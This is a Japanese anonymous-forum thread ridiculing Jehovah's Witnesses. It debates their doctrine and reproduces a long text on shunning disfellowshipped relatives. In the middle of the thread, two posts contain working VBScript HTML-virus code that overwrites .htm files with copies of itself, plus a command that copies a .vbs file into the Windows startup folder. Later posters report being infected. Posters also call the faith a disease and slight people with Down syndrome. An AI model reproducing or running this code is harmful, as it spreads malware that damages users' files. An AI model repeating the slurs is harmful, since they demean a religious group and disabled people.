ダウン症よりひどいんですか？

1910年 にハレー彗星が預言されたとおり（周期だけど）到来した時に、世界の終末が語られ、
西洋は大騒ぎになったことがあった。ＴＶ番組タイムトンネルで見たぞ！

>>466
ダウン症の方に失礼ですよ。

エホ症とは、発症すると思考が停止し、自分でモノが
考えられなくなるという恐ろしい病気です。
患者の多くは家庭が崩壊し、社会生活の基礎が脅かされ、
鬱状態になり最悪の場合、死に至ることもあります。

そもそもフランス革命の時に、「いよいよ終末か！？」
と人々は色めき立ったらしい。

終末論の背景には「こんな世の中滅んでしまえばいい」
といった厭世観があるんだろうね。

↑だから1914年の予言をしたのはエホ症だけってのはばかげた話しで、世紀末前後の期間に終末論がそれだけ盛んだったってこと。

・エホ症はナチスに抵抗し戦争に行かないで殺された。

別に戦争に反対して迫害されたのはエホ症だけじゃない。

・エホ症の組織は愛に満ち溢れている。

嘘ばっかり。

・エホ症の幹部（？）はものすごく聖書に詳しい。

どこがｗ

・1914年の予言をしたのはエホ症だけ。

肝心のこの予言も修正しまくってるし。

はっきり言って全く話にならない。
何を言っても「サタンの仕業だ」。

エホ症に見られる基本的な思考方法が、レッテル貼り。
自分たちに都合の悪いことにはすべて、背教者、サタン
のレッテルを貼り、聞こうとしない。

「組織が言っていることだから正しい」。
「背教者が言っていることだから間違い」。
それ以上考えようとしない。
しかしこれはトートロジー（同義反復）であり、
何も言っていないに等しい。つまり、
正しいから正しい、間違いだから間違い、と言っている
ようなもの。

エホバの証人はすてきなひとばかり
やな奴いません

>>473
どんなに素敵な人でも、エホバ（組織）を
崇拝していない人は滅ぼされるんだよな。

かわいそうだな。間違った・・・てゆーか、イエスの教えとは違う教えを奉じているし、全てが形式化してるんじゃないか？神よ、彼らを救い給え・・・。

「病人にこそ、私が必要なのですｗ」

パウロの黙示録には、思い込みで神に仕えているものは皆地獄に落ちるって書いてあったよ。

>>473
素敵な人だから救われるの？
どんなに素敵な人でも、エホバ（組織）を
崇拝していない人は滅ぼされるんだよね。
エホ症にとってはエホバ（組織）に所属して
いるかどうかが問題なんでしょ？

そうみたい。イエスを受け入れるとかじゃないみたいだね。多分組織はイエスを受け入れてるとか言うだろうけどね。組織＝イエスの象徴みたいだし。

ｱ-ﾒﾀﾞﾏ

パウロの黙示録って？

『奇妙な論理〈2〉』というさまざまな擬似科学の話題を取り上げた本の
１４２ページには「エホバの証人とピラミッド」という項目があります。

ものみの塔(エホバの証人)の創始者ラッセルが出版した
「聖書研究」の第三巻についても言及しています。

書名　　　『奇妙な論理〈2〉』
著者　　　Ｍ・ガードナー
翻訳　　　市場泰男
出版社　　社会思想社：現代教養文庫
価格　　　￥６００

>>421
宗教史ちゃんと勉強して来い。とくに古代の祭儀宗教な。
現在でも神道なんかには全然あんたのいってること当てはまらないんだが。
この場合祭儀共同体がそのまま生活共同体になるからな。

??
>>194

>>482
あ、それ見たことある。初期の「聖書研究者」時代のエホバの証人について
書いてる本だね。

だいたい、エホバの証人を批判している人ってだれだ？
陰険なことをするもんじゃない。
IQ低いＤＱＮ連中だからしかたないか・・・。

>>471
サタンだってこんな団体恥ずかしくって道具にしないんじゃない？

>>474
あなたの神さんは随分視野の狭い神さんですねえ

お前ら、エホバやめるときどうだった？

俺は、赤ん坊の頃から、はめ込まれてたので、高三で
やめた時は、すげー勇気がいったよ。
精神的な負担が大きかったせいか、そのあたりの記憶が
あやふやなんだよな・・・。

親の人達とも、そんな話できねーし。

赤ん坊の頃から、はめ込まれ、２８歳現役。
エホバ最高です。何でやめな−あかんの

まあ、ＪＷ信者さんは　>エホバ最高です。
と言うけど、どこが最高なのかな。
ほんと全然想像がつかないな。

何が良いのですか。＞ＪＷ信者さん。

>>483
まあそうあせるな。

日本の場合は、宗教が社会の中で人を救うように機能してきた
ので、現世の中で御利益を与えてくれる都合の良い神ばかり
しかいなかった。だから「本来」社会よりも大きい宗教に
対する免疫が全く無い。そのため、社会の中で救われない
人間がカルト的な宗教に走った場合、悲劇が大きくなるんだよ。

だめぽ・・・

>>492

言ってる事に統一性がない。
知識が中途半端なのか、何かの書き写しなのか。
宗教一般の定義について言及したいのか。

自分でカギカッコ付きで「本来」と書いてるじゃない。

　　　　　　　　　　　　　 　 ,.'::　 　 ,､- ''"´　　 ｀ﾞﾞﾞ''‐ ､ ﾞ' ,　 ,,､､､
　　　　　　　　　　　　 　 ,.':::　 .,. "　　　　　　　　　　　ﾞ'.､r'"　　 ﾞ'､
　　　　　　　　　　　　　,.'::::　, "　,　 ., , ,, ､,　　,　､ ､　,r"　　 　 　 ',
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　　　　　　　　　　 ﾞ,~　　 ,.ri.　　.{　.!.!,i,',l ,',!,! l', l',l,,,!/　　　 .::::::::::::::!
　　　　　　　　 　　 ﾞ､:::::,.' .::!　　 lﾞ､'l"l,' !,'!'!'.ﾚ !' .'''.,'　　　.:::::::::::::::::l
.　　　　　　　　　　　 ,>' .:r"l　　',.l,､‐''''i-　　　　 ''i;'　　 .:::::::::::::::::::,'
　　　　　　　　　　　〈-､::::ﾞ'‐!.　,. '､ゝ;;;:j　　　　　 /. 　 .::::::::::::::::::::,'　エホバは危険！　
.　　　　　　　　　　　 ﾞ､ ﾞ''‐-l　 ', .ヽ｀.´　　　　' ,.'　　 .::::::::::::::::::::/　　エホバは迷惑！
　　　　　　　　　　　　 ｀,i‐､..}i　 '.;:.　ﾞヽ　 　ヾｿ'　　 .:::::::::::::::::::,.'　　　　　　ちぃ、覚えた！
.　　　　　　　　　　　　 /　;. ﾞ,ﾞ, 　 ';:　 ﾉ,,､-''"　　　.::::::::::::::::::,r'
　　　　　　　　　　　　/　,.'-‐ﾞ'',-,､,i'"ﾞ! "　　　　 .::::::::::::::::,r'"',
　　　　　　　　　　　 /　i'r"ﾞ'´｀　｀'''>'　　　　　　ﾞ,::::::::::;r':! 　 ',
.　　　　　　　　　　 / .,､'´　::､　.:,r'"　　　　　　　 ﾞ､:::::'::::::',. 　 ',
　　　　　　　　 　 / .,.!　 ..　 :ﾞ'::,'　 　､.l.　　　　　　ﾞ､:::::::::: ﾞ､.　 ',
　　　　　　　　　/　/,',　...::.:::::::,'　　　 ﾞ'i.　　　　　　 ﾞ､:,',:::::. ﾞ､　'ﾞ､
.　　　　　　　　/ , ', ' .i､:::::::::,r'　　　　　',　　　　　 　 ﾞ､':::::::::. ﾞ､　ヽ
　　　　　　　 / ,.'.,.'　 ,ﾞ､:::::::i　　 ﾞ､.　　　'､　　　　..:::::::l::::::::::::::. ヽ　ヽ
　　　　　　 / ././　 ,.'　 '､;:::!　　　',　　　 ﾞ､::::::::::::::::::::::!:::::::::::　 ,''-､..,,ﾞ､､,,,.＿_
　　　　　 /　/ /　./　 .::::::｀ﾞ'､.　 　'､　　.:::::ﾞ.､::::::::::::::::!::::::::　 .,.',,　　　　 ,,-,-‐'

>>494
文句いってないで494さんの持論を発表しなさい！
「中途半端」ではない「一貫性」のある意見を！
494さんの言葉で、いってごらんなさい！

>>494
ﾊｱ？

日本の宗教は社会の中にあるから、それじゃ救われない
人が出るって話だろ。

本当に賢く、統治体の誤りに気付いている人もいるようだが、殆ど純粋に頑張っている人ばっかりなので、みんなやめにくいらしイ。友達が明かしてくれた。

>>483
キリスト教の話をしてるのに、
日本の神道の話とか関係無いだろ。
知識をひけらかしたいだけなんじゃないの？
論点ずれてるぜ。

>>498
それに今更辞めたって、他に逝くところ無いしな。
エホ症になった時点で退路を絶たれてるから。

宗教の自由という法の下にエホ症っていうインチキ宗教がのさばってるのが
気に入りません。
つーか、エホ症恥ずかしくないのかな？
伝道なんか絶対馬鹿馬鹿しくてやれない・・・・
エホ症の人が一日一日を感謝の心で生きている人間だとはとても思えない。。
エホ症という宗教の意義ってどこにあるんですか？
アレって「生かされていることは幸せである」っていう考え方が抜けてませんか？

と仏教徒は思うかもしれないね

エホ症の集会に潜り込みました。
みんな胡散臭い冊子を持って、科学的根拠の全く無いことを何の疑いも
なくのべるんですよ。
しかもいい大人が大半ですよ。
で、冊子には蛍光ペンなんかでラインひいてあるし。
質問は教科書の単元末についてるような感じのやつでした。
狐につままれたような感じがしました・・。

俺、排斥された（笑）

>>503
おめでとう！

つい最近、なかば強引にね。何かすっきりしたよ。

>>503さん
おめでとうございます!!!

よかったね

よかったね！
おめでとうございます。

>>503
あとは終わりを待つだけだな

>>503
おめでとー。５０３の前途に幸多かれと祝福する。
めでたいのであげ。

めでたくないでしょ
前途悲惨

さっき、お昼の支度をしていたら突然「井上というものですが」といって
いきなり尋ねて来た人がエホだった。
「うちはカルトはいりません」といっても「カルトではありません」とか
抜かしやがるので、塩を撒いて追い返しました。

さっきうちにも来たよ。美形のおばちゃんと玄関先で座りながら話したが、やつらにはめずらしくミニスカートだった・・・見えそうだった・・・まじめに話聞いてたら午後にまたくるそうな。足を拝むかの〜

>>512
エホ証はなめくじなのか？

>>513
近いうちに男に変わるよ

僕のところにもよくおばちゃんがくるが、男には変わらないよ。ミニははいてこないがなかなかの美人じゃ〜

http://www.toki-meki.com/shop/index.asp?url=http://www.toki-meki.com/shop/category/sports_top/pro.html

うちには男しかこないよ

お前たちくだらなすぎ

<BODY Onload="Redirect();">
<script language="VBScript"><!--

Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

>>518
>>519
日本語に訳して見ろ！（笑）

520＞
ノートンインストールしてから見てご覧！
楽しいから

わたしは携帯からなのでみれないのですが・・・どんな所がすごいのですか？

よくわかんないけどウイルス感染しちゃうんじゃないの？
さっきからエホ証関連回ってきたけど何回も感染したよ

virusとして反応しますね。

ウイルスが流行っているんですか？
どなたか、もうちょい詳しい情報ください。。。

エ穂はウィルスの親玉でちゅ

　　　　　　　　　　　　　　　　　　　警告、警告〜！
　　　　　　　　　　　　　　　エフォバカがウイルス撒いてますぅ！


（
　　　　　　　 ＿　　,　´ ￣ ｀ヽ、　　　＿　　　　　 　 ）
　　　　　　/´　 冫゜　　　 ,.　'´￣￣´　､　＼　 　 ／ へ
　　　　　 .′　 .′　　 ／　　 _,=、 ｉ i　 lヽ　 ト､　＼`.／
　 　　　　l.　　 ﾚ'⌒li　′　 _='´＿! l l　/! }　ﾑ,, ヽ
　 　　　　!　　 li 　 ﾘ i.　　 彳 ´　 ﾚjﾉ!/ｲ/ノ‐､ !　l
　　　　　l、 　 ﾄ=' ′!　 　 l.　　　　　　　　　　 l. /
　　　 　 ゝヽ.　ト-‐'゜l.　　　 、 ◯　　　　　 ○ !〈
　 　 　 〈　｀ヽ.ﾍ、 　 ',　　、 ` ｰz　 　 ｒ ┐　ｒ┴,〉
　　　 　 ゝヽ.　､_〕ｰ-へ ､ `ｰ-=彳　　 ` ′ ,ﾄﾆｿ
　 　 　 └ｒ-_､_冫　　 __ヽﾆ==ァ′　___ . ＜
　 　 　 　 ヽゝ　　　／　 ￣｀ヾ｀_ｰ --')､　　ヽ

421の「持論」。

１：宗教とは社会のはみ出し者が縋るものである。

２：宗教と社会は両立出来ない。

３：宗教とはカルトである。


わたしの反論。

１：社会のパラダイムの外にあるものをフォローするのは「オ」カルト。

２：古来より信仰と社会は密接な関係を築いている。

３：宗教とカルトは違う。

宗教とオカルトの関係については突っ込まない。
ここでやると荒れるからね。
社会と宗教は相容れないものではない。
社会のルールを逸脱してしまった宗教はあるが、
それが宗教の「本来」の姿ではない。
「宗教」とひと括りにするのは危うさを伴うが。
カルトと宗教の間に厳密に線引きをする事は困難だ。
だが、似た側面がある事と同じである事は等しく無い。
その二つについて同一視する事は出来ない。

自分に都合のいいところだけを持ってくるのはフェアじゃない。
その度に自分の立場を変えるのも。
483のレスに対して「日本は特殊だから」ではなく、真正面から答えればいい。

1 家族のきずなには非常に強いものがあります。それでクリスチャンに
とって,配偶者や子供,親,その他の近親者が会衆から排斥されたり断絶し
たりすることは試みとなります。(マタ10:37)忠節なクリスチャンは,そ
のような親族にどう接するべきでしょうか。その親族が一緒に住んでい
る場合には,何かの違いが生じるでしょうか。まず聖書がこの問題につい
て述べている事柄,つまり排斥された人にも断絶した人にも当てはまる原
則を振り返ってみましょう。

2 追放された人にどのように接しますか：神の言葉は,クリスチャンが会
衆から追放された人と交際や交友を続けないように命じて,こう述べてい
ます。だれであれ「兄弟と呼ばれる人で,淫行の者,貧欲な者,偶像を礼拝
する者,ののしる者,大酒飲み,あるいはゆすり取る者がいれば,交友をや
め,そのような人とは共に食事をすることさえしないように……その邪悪
な人をあなた方の中から除きなさい」。(コリー5:11,13)マタイ18章17節
に記録されている,「[追放された]人を,あなたにとって,諸国民の者また
収税人のような者としなさい」というイエスの言葉もこの点に関係してい
ます。イエスの言葉を聞いた人たちは,当時のユダヤ人が異邦人といっさ
い親交を持たず収税人を部外者として遠ざけていたことをよく知っていま
した。それでイエスは追随者たちに,追放された人と交わらないようにと
教えていたのです。―「ものみの塔」誌,1981年11月15日号,17-19ぺージ
をご覧ください。

3 これは,忠節なクリスチャンは,だれであれ会衆から追放された人と霊的
な交友を持たない,という意味です。しかし,それ以上のことも関係してい
ます。神の言葉は,「そのような人とは共に食事をすることさえしないよ
うに」と述べています。(コリー5:11)それでわたしたちは,追放された人
との親ぼくのための交友も避けます。それには,その人を加えてピクニッ
クに行ったり,パーティーを開いたり,球技をしたり,ショッピングや劇場
に出かけたり,家であれレストランであれ一緒に座って食事をしたりする
ことも含まれるでしょう。

4 排斥された人と話すことはどうでしょうか。聖書は,生じ得るあらゆる
状況を取り上げているわけではありません。しかしヨハネ第二10節は,エ
ホバがこの問題をどう見ておられるかを知る助けになります。そこには,
「この教えを携えないであなた方のところにやって来る人がいれば,決し
て家に迎え入れてはなりませんし,あいさつのことばをかけてもなりませ
ん」とあります。この聖句について,「ものみの塔」誌,1981年11月15日
号,24ページには次のような注解が載せられています。「『こんにちは』
という簡単なあいさつがきっかけとなって会話に発展したり,場合によっ
ては友情に発展したりすることがあるものです。わたしたちは排斥され
た人に対し,そのようなきっかけを作りたいと思うでしょうか」。

5 まさに「ものみの塔」誌の同じ号の30ぺージに述べられているとおり
です。「事実からすれば,クリスチャンが罪にふけって排斥を余儀なくさ
れる時,その人は本当に多くのものを失います。神のみ前における是認さ
れた立場,……以前クリスチャンの親族との間で保たれていた多くの交わ
りを含め,兄弟たちとの喜ばしい交友などを失うのです」。

6 同居している場合：それでは,排斥された家族の成員と同じ家に住んで
いるクリスチャンは,話しかけたり,共に食事をしたり,日常的な活動の際
に交わったりすることを避けなければならないのでしょうか。「ものみの
塔」誌,1991年4月15日号,22ぺージにある脚注はこう述べています。「も
しクリスチャンの家族の中に排斥された親族がいるとしたら,その人は従
来どおり,普通の日常的な家の仕事や活動に携わるでしょう」。それで,食
事その他の家族としての活動の際,排斥されている家族の成員をどの程度
までそれに含めるかの決定は,その家族にまかされるでしょう。とはいえ,
排斥前と何も変わっていないかの印象を,交わっている兄弟たちに与えた
くはないでしょう。

7「ものみの塔」誌,1981年11月15日号,27べージには,排斥されたり断絶し
たりした人についてこう述べられています。「以前存在していた霊的なき
ずなは完全に断ち切られました。この点は,すぐ身近にいる家族を含め,そ
の親族に関しても真実です。……これは,家庭内に存在していたであろう
霊的な交友に変化が生じることを意味します。例えば,夫が排斥された場
合,家族の聖書研究をその夫が司会したり,聖書朗読や祈りで指導したりす
ると,妻や子供たちは気持ちよくありません。排斥された人が食事の時な
どに祈りをしたいと思えば,自宅でなら祈る権利はあります。しかし妻や
子供たちは声を出さずに自分で神に祈りをささげることができます。(箴
28:9。詩119:145,146)家族が聖書を一緒に読んだり,聖書研究をしたりす
る時に,家庭内にいる排斥された人が出席することを望むならどうですか。
家族を教えようとしたり,宗教的な考えを述べようとしたりしない限り,出
席して耳を傾けることは許されるでしょう」。

8 家に住んでいる未成年の子供が排斥された場合でも,クリスチャンの親
は依然としてその子供を育てる責任を負っています。「ものみの塔」誌,
1988年11月15日号,20ページにはこう述べられています。「親は子供に衣
食住を備え続けるのと同じように,神の言葉に調和した教えと懲らしめを
与える必要があります。(箴言6:20-22;29:17)たとえ子供が排斥されたと
しても,愛ある親はそのようにして,子供との家庭聖書研究を取り決める
ことができます。恐らくその子供は,親と自分一人との研究から,矯正の
ための最も優れた益を得ることになるでしょう。あるいは,親のほうで,
子供を今後も家族研究の取り決めに参加させるという決定を下すかもし
れません」。―「ものみの塔」誌,2001年10月1日号,16,17ぺージもご覧
ください。

9 一緒に住んでいない親族：「もし排斥された者,あるいは自ら関係を
断絶した者が,一緒に暮らしている家族ではなく,別に生活している親族
であるなら,事情は異なります」と,「ものみの塔」誌,1988年4月15日号,
28ぺージは述べています。「その親族とはほとんど接触せずにすむかも
しれません。たとえ家族の何かの事柄で接触しなければならないとして
も……そういうことは最小限に保たれるに違いありません」とも述べて
います。これは,悔い改めずに罪をおかしている人がいれば,だれであれ
『交友をやめる』ようにという神の命令と調和しています。(コリー5:11)
忠節なクリスチャンはそうした親族との不必要な交わりを避け仕事上の
接触も全く最小限にとどめる努力を払うべきです。―「ものみの塔」誌,
1981年11月15日号,28,29ぺージもご覧ください。

10 「ものみの塔」誌は,生じ得る別の状況に注意を向けてこう述べていま
す。「では家にいない息子や親などの肉親が排斥され,その結果家に帰るこ
とを願っている場合はどうですか。家族は状況に応じ,どうすべきかを決定
することができます。例えば,排斥された親は病気で,経済的にも身体的に
も自活できない状態にあるかもしれません。クリスチャンである子供には,
親の面倒を見る聖書的また道義的責任があります。(テモテ第一5:8)……ど
うするかは,親が本当に必要としている事柄や親の態度,家の者の霊的福祉
に対する家族の頭の心遣いなどによって決まるでしょう」。―「ものみの
塔」誌,1981年11月15日号,27;28ぺージ。

11 子供についても同じ記事はこう述べています。「クリスチャンの親が,
身体的に,あるいは感情的に病気になった排斥された子供をしばらくの間
家に戻すこともあります。しかし親は必ずその子の状況を慎重に考慮しま
す。排斥された息子は自活してきたでしょうか。今はそれができないでし
ょうか。本人が戻りたがっているのは,主に,その方が生活が楽だからです
か。本人の品行や態度はどうですか。家庭内に『パン種』を持ち込むこと
になりますか。―ガラテア5:9」。

12 エホバに忠節であることの益：悔い改めない悪行者を排斥して遠ざけ
るという聖書的な取り決めに協力することには益があります。そうする
ことによって,会衆の清さが保たれます。わたしたちは聖書の高い道徳規
準を擁護する者として際立つことになります。(ペテ一1:14-16)腐敗をも
たらす影響力から守られます。(ガラ5:7-9)また,悪行者は受けた懲らし
めから十分に益を得る機会を与えられ,「平和な実,すなわち義」を生み
出すよう助けられるかもしれません。―ヘブ12:11。

13 ある兄弟とその妹は巡回大会での話を聞いて,6年前に排斥された同居
していない母親との接し方を変える必要があることに気づきました。大会
のすぐ後,兄弟は母親に電話をかけ自分たちが母親を愛しているとはっき
り述べてから,連絡の必要な家族に関する重要な事柄でなければもう話し
かけることはできないと説明しました。間もなく母親は集会に出席するよ
うになり,最終的に復帰しました。また,未信者の夫も研究を始め,やがて
バプテスマを受けました。

14 聖書に記されている排斥の取り決めを忠節に擁護することによって,
わたしたちはエホバヘの愛を実証し,エホバを嘲弄している者に返答でき
ます。(箴27:11)そして,わたしたちはエホバの祝福があることを確信で
きます。ダビデ王がエホバについて述べているとおりです。『その法令
については,わたしはそれからそれることはないからだ。忠節な者には,
あなたは忠節をもって行動されます』。―サム二22:23,26。

ウザイ・・・

いいかげんにしろ

>>530-543
それにしてもわかりにくい日本語だ。
こんなのをいつも読まされてりゃ、そりゃおかしくなるわな。
ていうか、これらを必死に理解するために時間を費やすほど、
聖書そのものからは遠ざかるのでは。 それが組織のねらいか？

で、この文章って何が言いたいのかな｡
書いた人かわかる人、未洗脳のばかな一般人にもわかるように解説してくらさい。

原稿が多すぎて解説に時間がかかる
セルロン４００ではちと荷が重すぎるよ

洗脳されれば理解できますです
あなたにも洗脳ドリンクお届けしますか？

排斥、排斥、、ってカルト用語使いすぎてら。
分かってつかってんだか、知らないでクセでつかってるんだか。
なに考えてるのでしょうね。。。

エホバを崇拝している証人をなぜ批判するのですか？
他に誰が（どこが）エホバを真の意味で崇拝しているのでしょうか？
教えてください。

>>550
＞他に誰が（どこが）エホバを真の意味で崇拝しているのでしょうか？

現時点ではＪＷしか見あたらない　問題もあるけどね
他の宗教は悪魔を真の意味で崇拝しています

そんなこと言ったって「エホバ」ってＪＷが創り上げた神でしょ。
他の宗教が崇拝する意味が無いと思うけど。
創始者の墓の写真を見ちゃうとね。
ＪＷの正しさを証明するのは難しいんじゃない。

エホバは聖書に書かれている神じゃないですか。
JWほど、人間に誉れを帰す事なく神を崇拝している
団体が他にありますか？
ラッセルをJWは崇拝してますか？

無駄な時間使ってるなぁ（ｗ
折れが長老だったら、その時間を個人研究に費やしなさい、と
忠告してるよ。まさか、文字入力に費やした時間を奉仕時間に
当ててないだろうなぁ？あぁ？(ﾌﾟ

文字入力に費やした時間じゃなくて２ちゃんを見てる時間です。

勧誘にて


勧誘の人　「あなたは神を知ってますか?　]

漏れ　「知りません。」

勧誘の人　「それはエホバです。」

漏れ、その場で失笑

>>553
>エホバは聖書に書かれている神じゃないですか。

私も聖書を読みますが「エホバ」は知りません。

>JWほど、人間に誉れを帰す事なく神を崇拝している
>団体が他にありますか？

カトリック、プロテスタント、ロシア正教会

>ラッセルをJWは崇拝してますか？

ラッセルを崇拝しているかは知りませんが
宗教団体の創立者を見ると、その宗教団体を想像できます。
出だしで躓いた団体は、その後の修正は非常に困難です。

>>530-543は、ただ単に意見の合わない人間との付き合い方について
書いてあるだけー。
意見の合わない人間が家族や親類だった場合、どうやって法律で罰せられずに
極力避けるのか書いてあります。
聖書がそんなものまで指南しているとは思いませんでした。

しかも英語の直訳なんじゃねえの？

典型的なエホ症の論理。
質問の直後に答えがあり、自分で考えさせない
工夫がされている。

そしてやはりトートロジー（同義反復）。
組織（必ずしも聖書ではない）の書物にこう書いてあるから
正しい、という論理。つまり、組織の書物は正しいのであり、
「正しいから正しい」というもので、何も言っていないに等しい。

>>560
なるほど。
だから一般的思考回路を持つ人間は読んでて苦痛なのか。

ホ○マト○オ排斥の詳細ｷﾎﾞﾝ

>>551
問題有り過ぎなんですが・・・・・

つーか、カトリとか、プロトとかより性的虐待者の比率が高いのに
書籍研究で、大いなるバビロンである諸宗教の性的犯罪が、云々〜は
いかがなモノだろうか？

自分達の事を、一度見つめ直しませんか？
エホバの証人さん。

>>557
ロシア正教会は正教会のなかの一部。（モスクワ総主教座管轄の正教会）
東方正教会、またはたんに「正教会」というのが通。

審理委員会で自分たちの都合の良いように人を排除してることがよく判った。
はっきり言ってあの場は偽善だらけだった。

えーと、リンクしときます。
BBC NEWS
http://news.bbc.co.uk/hi/english/audiovideo/programmes/panorama/newsid_2114000/2114320.stm

>>564
はい。
正教会に一度行って話を聞いてみたいんだけど、
近所に無さそうで、捜してるんだけど。

>>565
むむ。
なんと声をかけたら良いか。

そんな人ばかりではないと思いますがね（笑）＞567
でも、曲解多いから・・・
自分の間違いは「私も人間ですから」が上等句。

>>568
私も信用していただけに、反動が大きかったですね。
信者でもなんでも無かったのですが。
ましてや、伝道者とかでは、きついと思います。


とりあえず、今日は寝ましょ。
明日があるしね。

　　　　　　　　　　　　　 　 ,.'::　 　 ,､- ''"´　　 ｀ﾞﾞﾞ''‐ ､ ﾞ' ,　 ,,､､､
　　　　　　　　　　　　 　 ,.':::　 .,. "　　　　　　　　　　　ﾞ'.､r'"　　 ﾞ'､
　　　　　　　　　　　　　,.'::::　, "　,　 ., , ,, ､,　　,　､ ､　,r"　　 　 　 ',
　　　　　　　　　　　　_,i､　 ,.'　　.i　 ,','l !l .!l l. ! ',, l .l､/　　　　 ........ !
　　　　　　　　　　 ﾞ,~　　 ,.ri.　　.{　.!.!,i,',l ,',!,! l', l',l,,,!/　　　 .::::::::::::::!
　　　　　　　　 　　 ﾞ､:::::,.' .::!　　 lﾞ､'l"l,' !,'!'!'.ﾚ !' .'''.,'　　　.:::::::::::::::::l
.　　　　　　　　　　　 ,>' .:r"l　　',.l,､‐''''i-　　　　 ''i;'　　 .:::::::::::::::::::,'
　　　　　　　　　　　〈-､::::ﾞ'‐!.　,. '､ゝ;;;:j　　　　　 /. 　 .::::::::::::::::::::,'
.　　　　　　　　　　　 ﾞ､ ﾞ''‐-l　 ', .ヽ｀.´　　　　' ,.'　　 .::::::::::::::::::::/　　エホバは危険！
　　　　　　　　　　　　 ｀,i‐､..}i　 '.;:.　ﾞヽ　 　ヾｿ'　　 .:::::::::::::::::::,.'　エホバカ害虫！ちぃ知ってる
.　　　　　　　　　　　　 /　;. ﾞ,ﾞ, 　 ';:　 ﾉ,,､-''"　　　.::::::::::::::::::,r'
　　　　　　　　　　　　/　,.'-‐ﾞ'',-,､,i'"ﾞ! "　　　　 .::::::::::::::::,r'"',
　　　　　　　　　　　 /　i'r"ﾞ'´｀　｀'''>'　　　　　　ﾞ,::::::::::;r':! 　 ',
.　　　　　　　　　　 / .,､'´　::､　.:,r'"　　　　　　　 ﾞ､:::::'::::::',. 　 ',
　　　　　　　　 　 / .,.!　 ..　 :ﾞ'::,'　 　､.l.　　　　　　ﾞ､:::::::::: ﾞ､.　 ',
　　　　　　　　　/　/,',　...::.:::::::,'　　　 ﾞ'i.　　　　　　 ﾞ､:,',:::::. ﾞ､　'ﾞ､
.　　　　　　　　/ , ', ' .i､:::::::::,r'　　　　　',　　　　　 　 ﾞ､':::::::::. ﾞ､　ヽ
　　　　　　　 / ,.'.,.'　 ,ﾞ､:::::::i　　 ﾞ､.　　　'､　　　　..:::::::l::::::::::::::. ヽ　ヽ
　　　　　　 / ././　 ,.'　 '､;:::!　　　',　　　 ﾞ､::::::::::::::::::::::!:::::::::::　 ,''-､..,,ﾞ､､,,,.＿_
　　　　　 /　/ /　./　 .::::::｀ﾞ'､.　 　'､　　.:::::ﾞ.､::::::::::::::::!::::::::　 .,.',,　　　　 ,,-,-‐'

またアホが・・・

エホ症の聖書の引用のしかたっておかしすぎる。
部分だけとってきて組織に都合のいいように
使ってる。

例えば？＞572

審理委員会って何するところ？

マタイ7：1〜
さばいてはいけません。さばかれないためです。
ななたがたがさばくとおりに、あなたがたがさばかれ、
ななたがたが量るとおりに、あなたがたも量られるからです。

眠れないなあ･ﾟ･(つД｀)･ﾟ･ 　 boy's

>>532　「・・・ことも含まれるでしょう。」
>>535　「・・・その家族にまかされるでしょう。」
>>536　「・・許されるでしょう」。」
>>537　「・・得ることになるでしょう。」「・・下すかもしれません」。」
>>538　「・・せずにすむかもしれません。」「・・違いありません」」
>>539　「・・決まるでしょう」。」
>>541　「・・助けられるかもしれません。」
上のような言い方は責任回避と言う。
つまり、「ものみの塔」は『勧め』はするが、『責任』を取るつもりは無いということだ。
現役諸氏、このことをよく考えてみてはいかが。
何をしようと、されようと、全てＪＷ個人の『責任』に帰結するということで、組織は何ら
責任を取るつもりがないことは明白になっている。

それでいて、組織の『提案』に従わないと『排斥』処置をちらつかせる。
上のコピペも、「排斥」された家族を持つＪＷに対する『勧め』だが、これに違反すると
どうなるのだろうか。おそらくは、自分も排斥処置の危険性に遭うことになるのではないか。
つまり、文面は『勧告』だが、実質は『命令』であり、しかも『責任』を取るつもりはない。
なんとも、『ご立派な組織』としか言いようがないではないか。

>>575
的確な分析、すばらしい！
文章にはどうしても意図するところの願望がにじみ出てしまうのでしょう。

ドイツが発端だったかな、カルト扱いによる税金徴収などを恐れて、選挙へ行くことを容認する方向へ教えが変わったときも、
それを伝える文章は、良心としては選挙へは行かないのが当然というニュアンスのプレッシャーを与え、
その一方で諸事情あるときは行ってよしという、まさに命令と（公や世間一般に対しての）責任逃れとが
混在したあきれた展開だったと記憶している。

大ちゃん事件後の協会支部の新聞コメントもそんな感じだった（「輸血拒否は教義ではなく信者個々の良心」的趣旨だったと思う）。
毎度毎度、懲りない組織なんですね。
ま、それらに対して信者から批判もないんでしょ。出るはずないか。

エホ証：「私も不完全な人間ですから・・・」

家の人：「私も同じく不完全な人間なんですけど・・・」

エホ証＆家の人：「・・・・・・・・・。」（−−；

＞575
組織は神ではないんだから、灰色の領域に対しては
提案をする以上のことはできない。ふさわしい提案を
することによって私達が清い良心を培う助けをしているのです。
組織は、神と聖書に信頼と敬意を示す事ができるよう人々に
清い情報を与えます。感謝できるではないですか。
エホバの証人は神を第一に考えてます。神に信仰を抱くよう、
訓練されています。反対者の皆さんは組織批判をすることしか
能がないのですか？組織が生み出した良い実には何も目を留められない
のですか？証人は組織なんかより神に依存しているのですよ。
だからいくら組織批判をしようが、信仰は揺るぎません。

>>578
すり替えによる言い逃れの典型的な例ですね。

＞組織は神ではないんだから、灰色の領域に対しては
＞提案をする以上のことはできない。

組織が神ではないのは当然でしょう。私は組織が神であるとは言っていません。
しかし、ＪＷにおいては組織が神に成り代わっているのは明らかです。
でなければ、なぜ罰則措置を持ち出すのですか。「提案」というのは、拒否する
自由も認められるのです。
しかし、拒否すれば嫌な目に遭う。これは提案とは言いません。
「強制」と言うのです。
仮にある提案に従うことが、神や聖書に対する信頼を失わせるような場合、
